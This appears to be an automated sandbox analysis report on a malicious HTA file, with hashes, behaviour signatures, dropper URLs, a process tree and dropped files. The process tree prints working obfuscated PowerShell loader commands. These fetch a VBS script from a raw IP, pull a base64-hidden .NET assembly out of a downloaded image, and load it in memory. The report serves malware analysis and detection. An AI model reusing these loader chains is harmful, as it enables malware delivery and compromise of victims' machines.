Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    27-10-2024 12:48

General

  • Target

    seemeherewithgreatthingsentiretimewithgreatthingsonhere.hta

  • Size

    130KB

  • MD5

    b85260924fba0846c8b7c5a097a95609

  • SHA1

    911e67583068cf720cc7b6548c2ac11a7bbfb1a2

  • SHA256

    30e23614597083e75d18692843858ef0a7fb7bd63d028e728616d4dd45169c3f

  • SHA512

    a60163b64564fd14c39213e895c89f1126f4ac1a4fc4c1fa442012e16eedb8778047e95b91a8090e74d6683269757626472d2a1a652faf2d4923887f5504ef04

  • SSDEEP

    96:Eam7XEWHA0WWHA5xdFxVfLPOYdb2YyCWHAMPWHA3Uz5+2TWHAbc7T:Ea2Xk0GHDxVfzyKCLwbiT

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemeherewithgreatthingsentiretimewithgreatthingsonhere.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\SysWOW64\WindOwspowERshell\V1.0\pOwerSHELl.EXe
      "C:\Windows\syStEM32\WindOwspowERshell\V1.0\pOwerSHELl.EXe" "poWErSheLl -EX bypaSS -NOP -w 1 -c DEVIcEcReDenTiaLdEploymeNT ; iEx($(Iex('[sySteM.teXT.EnCoDiNG]'+[cHAR]58+[chAR]58+'UTF8.gEtStRing([System.CONVErT]'+[char]58+[cHaR]58+'FRombaSE64sTrIng('+[cHAR]34+'JHRmICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELVR5cGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbUJlUkRFZmlOSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJOVVosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBZWFhwTEhvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuWVAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGbmosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRldEZiZik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZUoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUNQRERXa1Zpd2EgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly84NS4yMTUuMjA2LjgyLzM4MC9zZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0aGFwcGluZXNzd2l0aG1lLnRJRiIsIiRlblY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0aGFwcGluZXNzd2l0LnZiUyIsMCwwKTtzdEFSdC1TTGVFcCgzKTtTVEFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRoYXBwaW5lc3N3aXQudmJTIg=='+[chAR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bypaSS -NOP -w 1 -c DEVIcEcReDenTiaLdEploymeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2364
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b6xu3oo8.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2892
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9982.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9981.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2784
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingswithgreathappinesswit.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUVYKCAoKCdSdUNpbWFnZVVybCA9IHFhZGh0dHBzOi8nKycvZHJpdmUuZ29vZ2xlLmMnKydvbS91Yz9leHBvJysncnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHFhJysnZDtSdUN3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1J1Q2ltYScrJ2dlQnl0ZXMgPSBSdUN3ZWJDbGllbnQuRG93bmxvYWREYXRhKFJ1Q2ltYWdlVXJsKTtSdUNpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZyhSdUNpbWFnZUJ5dGVzKTtSdUNzdGFydEZsYWcgPSBxYWQ8PEJBU0U2NF9TVEEnKydSVD4+cWFkO1J1Q2VuZEZsYWcgPSBxYWQ8PEJBU0U2NF9FTkQ+PicrJ3FhZDtSdUNzdGFydEluZGV4ID0gUnVDaW1hZ2VUZXh0LkluZGV4T2YoUnVDc3RhcicrJ3RGbGFnKTtSdUNlbmRJbmRlJysneCA9IFJ1Q2ltYWdlVGV4dC5JbmRleE9mKFJ1Q2VuZEZsYWcpO1J1Q3N0YXJ0SW5kZXggLWdlIDAgJysnLWFuZCBSdUNlbmRJbmRleCAtZ3QgUnVDc3RhcnRJbmRleDtSdUNzdGFydEluZGV4ICs9IFJ1Q3N0YXJ0RmxhZy5MZW5ndGg7UnVDYmFzZTY0TGVuZ3RoID0gUnVDZW5kSW5kZXggLSBSdUNzdGFydEluZGV4O1J1Q2Jhc2U2NENvbW1hbmQgPSBSdUNpbWFnZVRleHQuU3Vic3RyaW5nKFJ1Q3N0YXJ0SW5kZXgsIFJ1Q2Jhc2U2NExlbmd0aCk7UnVDYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoUnVDYmFzZTY0Q29tJysnbWFuZC5Ub0NoYXJBcnJheSgpIExtbCBGb3JFYWNoLU9iamVjdCB7IFJ1Q18gfSlbLTEuLi0oUnVDYmFzZTY0QycrJ29tbWFuZC5MZW5ndGgpXTtSJysndUNjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOicrJzpGcm9tQmFzZTY0U3RyaScrJ25nKFJ1JysnQ2Jhc2U2NFJldmVyc2VkKTtSdUNsbycrJ2EnKydkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoUnVDY29tbWFuZEJ5dGVzKTtSdUN2YScrJ2lNZXRob2QgPSBbZG5saWIuSU8uSG9tJysnZV0nKycuR2V0TWV0aG9kKHFhZFZBSXFhZCk7UnVDdmFpTWV0aG9kLkludm9rZShSdUNudWxsLCBAKHFhZHR4dC5DVkZEUlJXLzA4My8yOC42MDIuNTEyLjU4Ly86cHR0aHFhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkZGVzYXRpdmFkb3FhZCwgcWFkQ2FzUG9scWFkLCBxYWRkZXNhdGl2YWRvcWFkLCBxYWRkZXNhdGl2JysnYWRvcWFkLHFhZGRlc2F0aXZhZG9xYScrJ2QscWFkZGVzYXRpdmFkb3FhZCxxYWRkZXNhdGl2YWRvcWFkLHFhZGRlc2F0aXZhZG9xYWQscWFkZGVzYXQnKydpdmFkb3FhZCxxYWQxcWFkLHFhZGRlc2F0aXZhZG9xYWQpKTsnKSAgLVJlUGxhQ2UgJ0xtbCcsW2NoYXJdMTI0ICAtQ1JFUExhY0UoW2NoYXJdMTEzK1tjaGFyXTk3K1tjaGFyXTEwMCksW2NoYXJdMzktQ1JFUExhY0UoW2NoYXJdODIrW2NoYXJdMTE3K1tjaGFyXTY3KSxbY2hhcl0zNikp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2164
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEX( (('RuCimageUrl = qadhttps:/'+'/drive.google.c'+'om/uc?expo'+'rt=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur qa'+'d;RuCwebClient = New-Object System.Net.WebClient;RuCima'+'geBytes = RuCwebClient.DownloadData(RuCimageUrl);RuCimageText = [System.Text.Encoding'+']::UTF8.GetString(RuCimageBytes);RuCstartFlag = qad<<BASE64_STA'+'RT>>qad;RuCendFlag = qad<<BASE64_END>>'+'qad;RuCstartIndex = RuCimageText.IndexOf(RuCstar'+'tFlag);RuCendInde'+'x = RuCimageText.IndexOf(RuCendFlag);RuCstartIndex -ge 0 '+'-and RuCendIndex -gt RuCstartIndex;RuCstartIndex += RuCstartFlag.Length;RuCbase64Length = RuCendIndex - RuCstartIndex;RuCbase64Command = RuCimageText.Substring(RuCstartIndex, RuCbase64Length);RuCbase64Reversed = -join (RuCbase64Com'+'mand.ToCharArray() Lml ForEach-Object { RuC_ })[-1..-(RuCbase64C'+'ommand.Length)];R'+'uCcommandBytes = [System.Convert]:'+':FromBase64Stri'+'ng(Ru'+'Cbase64Reversed);RuClo'+'a'+'dedAssembly = [System.Reflection.Assembly]::Load(RuCcommandBytes);RuCva'+'iMethod = [dnlib.IO.Hom'+'e]'+'.GetMethod(qadVAIqad);RuCvaiMethod.Invoke(RuCnull, @(qadtxt.CVFDRRW/083/28.602.512.58//:ptthqad, qaddesativadoqad, qaddesativadoqad, qaddesativadoqad, qadCasPolqad, qaddesativadoqad, qaddesativ'+'adoqad,qaddesativadoqa'+'d,qaddesativadoqad,qaddesativadoqad,qaddesativadoqad,qaddesat'+'ivadoqad,qad1qad,qaddesativadoqad));') -RePlaCe 'Lml',[char]124 -CREPLacE([char]113+[char]97+[char]100),[char]39-CREPLacE([char]82+[char]117+[char]67),[char]36))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2832

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES9982.tmp

    Filesize

    1KB

    MD5

    ff13407cd246154b009a30b6138ce6df

    SHA1

    c9959d4d5704bd7765f3f0580655104c97711743

    SHA256

    c2cb9b1b796a4251637397c9ff45ac96409505a5e4778f57b02edba257d34b48

    SHA512

    b30f195ce8bfcaf34e4012a83361cd29e230118851a9d2b600030acf400213c984ffae9985e942040eff11b33371cab37cd633e2d343bd75973671e4b5bb9c57

  • C:\Users\Admin\AppData\Local\Temp\b6xu3oo8.dll

    Filesize

    3KB

    MD5

    370c263eff3d4c1fa384b44f639d9f8a

    SHA1

    b0f5115e224020fc2366317d5c00e17061eba23d

    SHA256

    2dd64b9a6e8d5d3b12b3417fc622588debcc7efeb9aa3bf8b57360c72b24fc7c

    SHA512

    1c82b3dfc5927a2d519dc4021e31b852b69714132075d766db64ab0665b89e894f9255ab082ba531e879537d39f6418a7f8cbdebdff8911b49ff3deee9a8e9c0

  • C:\Users\Admin\AppData\Local\Temp\b6xu3oo8.pdb

    Filesize

    7KB

    MD5

    ace652565715c121f9a74315afc766d1

    SHA1

    ee2d2fa96c905412a5f8f22b3f969e27770053e1

    SHA256

    9fabc9771428b87837e46880632a21741439b5a9662eceffa82cde47e7719d71

    SHA512

    9f36a6dee931bcfb98acf7392d3c4da18f830cd8b7c51ab2dee9d7956159e5d86fd323e3885b0a20a022e6f8bc8ab1632c5c0050e9104c484df104c4f6b62e70

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    7b1a81ac6dadf096ba5bcd3eeaad7a62

    SHA1

    00fa639b7fef388f7a41780f30df683c098f0c4b

    SHA256

    aa315f4690afd85a82464a98853dabcaa5bd1d7f91c005cec593946ceb65c313

    SHA512

    cd98b5f74192e7a096c705379c6c3f1695dc198e34a1982372960ac79649a06640f464549d684d4d30026ed65ddf8d57a49004a7ebacea44035d7746836cd08b

  • C:\Users\Admin\AppData\Roaming\seethebestthingswithgreathappinesswit.vbS

    Filesize

    137KB

    MD5

    943769c1661d4e66fb570fc18be9a171

    SHA1

    0204c63f393b0a5fb3467816a08f6006c54b19c1

    SHA256

    cb21f3d02a6dd6dd9e79081ff50a9c36cb6f9266b3f2e47417a919694e0b1545

    SHA512

    4fe2047f5808fdaf8df6d196b0dea50a2d0431e8ce6421ae399d06046e7d394df68056b1ffff0d5c940d8f00320b154ef3ffddd3be91c3671b031ff71bc86c2f

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC9981.tmp

    Filesize

    652B

    MD5

    ef95e3898a1d921056a85e4010bc38e0

    SHA1

    ffef3db88cc7d0e05087a0ed1a098aa0e6bde6e5

    SHA256

    d4655cfc116017774d17aa612ccdffbec7ee19e5d59e94c4bf8fbc40cedd1bde

    SHA512

    58883afcb74cd6dd164eb2d93410736848f4de4e0245dc3ad8f6a104cd8336b9941fe843a2d70d92d80d4e740c2218656cd517a1eb107d4fb9f2ffd7a0619528

  • \??\c:\Users\Admin\AppData\Local\Temp\b6xu3oo8.0.cs

    Filesize

    462B

    MD5

    b31b2127406ec8062b42f6cfaeeba531

    SHA1

    1d117bf0fb1fc24f57f341d6acd95154a47298b2

    SHA256

    8545b19637a099a1147203c681c7b8b049da6021259c3fba765d1412f0fc3dba

    SHA512

    1238e4d22fb2411c8bfe27164e93ca5038a704365dbdea70983867ff8a54c46597e9e7e2262f3d7b349132d0cf1991790e30d4948903454eb803a6820435bfed

  • \??\c:\Users\Admin\AppData\Local\Temp\b6xu3oo8.cmdline

    Filesize

    309B

    MD5

    6796afc59512c5ad4ed2e553111d062d

    SHA1

    7c029aab6d3f319a638c3c43870908721cd4aaa5

    SHA256

    368f8c749b4f3ac1e8354407fdd05edf3da98850776aeb07879b7e09c8734514

    SHA512

    b0f44724039c0cd876104f17a0b5f41043d378c54c36523e09614d5529baea9a51962ef701a79505acc0e0155931d262a5145fec7ea5cec0587582940a8c96a5